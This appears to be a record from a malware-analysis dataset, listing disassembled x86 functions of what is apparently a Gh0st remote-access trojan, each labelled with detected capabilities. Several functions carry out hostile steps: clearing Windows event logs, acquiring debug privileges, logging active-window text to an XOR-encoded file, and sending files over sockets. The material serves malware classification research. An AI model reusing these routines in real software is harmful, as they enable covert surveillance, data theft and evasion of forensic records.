joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402921
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov word [ebp - 4], 1
mov word [ebp - 2], 0
push 4
lea eax, [ebp - 4]
push eax
push 0x80
push 0xffff
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
mov edx, dword [ebp - 8]
add edx, 0xb5
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0xa8], 0xffffffff
mov esp, ebp
pop ebp
ret

Function at 0x402bd5
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
jmp 0x402c11
mov edx, dword [ebp - 4]
sub edx, dword [ebp + 0x10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jb 0x402c86
mov dword [ebp - 0x18], 0
jmp 0x402c2b
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x10]
jge 0x402c5a
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x402c58
jmp 0x402c5a
jmp 0x402c22
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x10]
jne 0x402c6a
or eax, 0xffffffff
jmp 0x402cf3
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402c08
cmp dword [ebp - 4], 0
jle 0x402ce3
mov dword [ebp - 0x1c], 0
jmp 0x402c9e
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x10]
jge 0x402ccd
push 0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x402ccb
jmp 0x402ccd
jmp 0x402c95
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x10]
jne 0x402cda
or eax, 0xffffffff
jmp 0x402cf3
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x402cf0
mov eax, dword [ebp - 0x14]
jmp 0x402cf3
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403404
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push edi
mov dword [ebp - 0x360], ecx
mov dword [ebp - 0x18], 0x104
mov dword [ebp - 0x35c], 0
push 0x104
push 0
lea eax, [ebp - 0x354]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x2e
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40345a
xor al, al
jmp 0x403621
lea edx, [ebp - 0x358]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0x14]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403482
xor al, al
jmp 0x403621
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x354]
push edx
push 0
mov eax, dword [ebp - 0x358]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp - 0x358]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
push 0
lea edx, [ebp - 0x20c]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x354]
push eax
push str._s_shellopencommand
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x358]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x20c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403506
xor al, al
jmp 0x403621
push 0x104
push 0
lea ecx, [ebp - 0x354]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x18], 0x104
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x354]
push eax
push 0
mov ecx, dword [ebp - 0x358]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov edx, dword [ebp - 0x358]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4181d0
lea eax, [ebp - 0x354]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
jne 0x403589
push 0x4181d4
lea ecx, [ebp - 0x354]
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
jne 0x4035b7
push 0x4181d8
lea edx, [ebp - 0x354]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x354]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x4035c8
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x250], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x24c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x250], 0x44
cmp dword [ebp + 0xc], 0
je 0x4035fb
mov dword [ebp - 0x248], 0x4181dc
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x250]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x354]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
mov esp, ebp
pop ebp
ret 8
Function at 0x403c6b
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], 0
push 0x104
push 0
mov eax, dword [ebp - 0x20]
add eax, 0x20
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x20]
add edx, 0x20
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push closesocket
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x403cd0
xor eax, eax
jmp 0x403d7d
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0xa
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0xc]
mov byte [edx], 0x69
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 4], ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 9
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x20]
call fcn.00407523
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4
Function at 0x403d83
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x20
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x1c]
cmp dword [edx + 4], 0xffffffff
jne 0x403db3
mov ecx, dword [ebp - 0x28]
call fcn.00403e9f
xor eax, eax
jmp 0x403e99
push 0
push 0x80
push 3
push 0
push 1
push closesocket
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x403de0
or eax, 0xffffffff
jmp 0x403e99
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x20], 9
mov edx, 0x2000
sub edx, dword [ebp - 0x20]
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], 0
push 0x2000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0x6a
push 8
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xc]
add edx, 1
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], 0
jbe 0x403e84
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 0x28]
call fcn.00407523
mov dword [ebp - 0x10], eax
jmp 0x403e8c
mov ecx, dword [ebp - 0x28]
call fcn.00403e9f
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4
Function at 0x404015
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41347f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x46c
mov dword [ebp - 0x478], ecx
mov dword [ebp - 0x154], 0
push 0x104
push 0
lea eax, [ebp - 0x258]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp + 8]
movsx eax, byte [edx + eax - 1]
cmp eax, 0x5c
je 0x40407c
mov dword [ebp - 0x154], 0x418214
jmp 0x404086
mov dword [ebp - 0x154], 0x41a138
mov ecx, dword [ebp - 0x154]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s.
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4040ca
xor al, al
jmp 0x4041b7
movsx eax, byte [ebp - 0x124]
cmp eax, 0x2e
je 0x404192
mov ecx, dword [ebp - 0x150]
and ecx, 0x10
test ecx, ecx
je 0x404122
lea edx, [ebp - 0x124]
push edx
mov eax, dword [ebp - 0x154]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x418220
lea edx, [ebp - 0x35c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x35c]
push eax
mov ecx, dword [ebp - 0x478]
call fcn.00404015
jmp 0x404192
lea ecx, [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x154]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_s_s
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x474]
push edx
lea eax, [ebp - 0x460]
push eax
lea ecx, [ebp - 0x470]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x470]
push ecx
mov ecx, dword [ebp - 0x478]
add ecx, 0x10
call fcn.00404750
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea edx, [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4040ca
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x4044af
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 9
mov eax, dword [ebp + 8]
add eax, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0xc]
sub eax, 8
mov dword [ebp - 4], eax
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov ecx, dword [ebp - 0x34]
add ecx, 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x28], eax
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0xc], 0
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x24], 0x70
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
push 4
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x23]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x1f]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 9
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x34]
call fcn.00407523
mov esp, ebp
pop ebp
ret 8

Function at 0x405b3b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push edi
mov dword [ebp - 0x14], 0
push 0x2f
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x405b68
xor al, al
jmp 0x405bcf
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040c29f
add esp, 8
and eax, 0xff
test eax, eax
jne 0x405b85
xor al, al
jmp 0x405bcf
mov dword [ebp - 0x58], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x50], 0x418374
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
neg eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x405bd4
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push edi
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jne 0x405bf5
xor al, al
jmp 0x405d24
mov dword [ebp - 0x11c], str.Applicationsiexplore.exe_shellopencommand
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 0x168], 0
push 0x104
push 0
lea ecx, [ebp - 0x118]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x164]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0x11c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x405c51
xor al, al
jmp 0x405d24
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x118]
push edx
push 0
mov eax, dword [ebp - 0x164]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp - 0x164]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x405c90
xor al, al
jmp 0x405d24
push 0x4183c4
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jne 0x405cb8
xor al, al
jmp 0x405d24
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x168]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x160], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x15c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x160], 0x44
cmp dword [ebp + 0xc], 0
je 0x405cfc
mov dword [ebp - 0x158], str.WinSta0Default
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x160]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x118]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x405d29
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
mov dword [ebp - 0x10], 0
jmp 0x405d56
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jae 0x405d8f
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + ecx*4 - 0xc]
push edx
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x405d77
jmp 0x405d4d
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
jmp 0x405d4d
mov esp, ebp
pop ebp
ret
Function at 0x405dfb
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x405e1c
xor al, al
jmp 0x405e8d
lea ecx, [ebp - 0x18]
push ecx
push 0x418428
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x405e3f
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x405e8d
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x405e81
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x405e8d
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x406320
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [eax], 0x41447c
mov dword [ebp - 4], 0
jmp 0x406344
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 0x9e50]
jae 0x40637e
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40633b
mov ecx, dword [ebp - 8]
call fcn.004074f5
mov esp, ebp
pop ebp
ret
Function at 0x4068a6
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov eax, dword [0x41a250]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x3200000
jae 0x4068ff
push 2
push 0
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], 0
jmp 0x406933
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 4]
jge 0x406951
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
movsx eax, byte [edx]
xor eax, 0x62
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
mov byte [ecx], al
jmp 0x40692a
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x406989
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x918
cmp dword [ebp + 8], 0
jne 0x40699d
jmp 0x406b16
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jb 0x4069bb
cmp dword [ebp - 8], 0x80
jbe 0x4069c0
jmp 0x406b16
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [ebp - 4], eax
mov ecx, dword [0x41a250]
mov edx, dword [ebp - 4]
cmp edx, dword [ecx + 8]
je 0x406a9b
mov eax, dword [0x41a250]
mov ecx, dword [ebp - 4]
mov dword [eax + 8], ecx
push 0x100
lea edx, [ebp - 0x908]
push edx
mov eax, dword [0x41a250]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [ebp - 0x918]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x800
push 0
lea eax, [ebp - 0x808]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x908]
push ecx
mov edx, dword [ebp - 0x90c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x90e]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x910]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x918]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x912]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x916]
and ecx, 0xffff
push ecx
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
lea edx, [ebp - 0x808]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x808]
push eax
call fcn.00406989
add esp, 4
mov ecx, dword [0x41a250]
xor edx, edx
mov dl, byte [ecx + 0xc]
test edx, edx
je 0x406ab6
mov eax, dword [ebp + 8]
push eax
call fcn.004068a6
add esp, 4
mov ecx, dword [0x41a250]
mov edx, dword [ecx]
add edx, dword [ebp - 8]
cmp edx, 0x400
jbe 0x406aef
push 0x400
push 0
mov eax, dword [0x41a250]
add eax, 0x111
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [0x41a250]
mov dword [ecx], 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [0x41a250]
add eax, 0x111
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x41a250]
mov edx, dword [ecx]
add edx, dword [ebp - 8]
mov eax, dword [0x41a250]
mov dword [eax], edx
mov esp, ebp
pop ebp
ret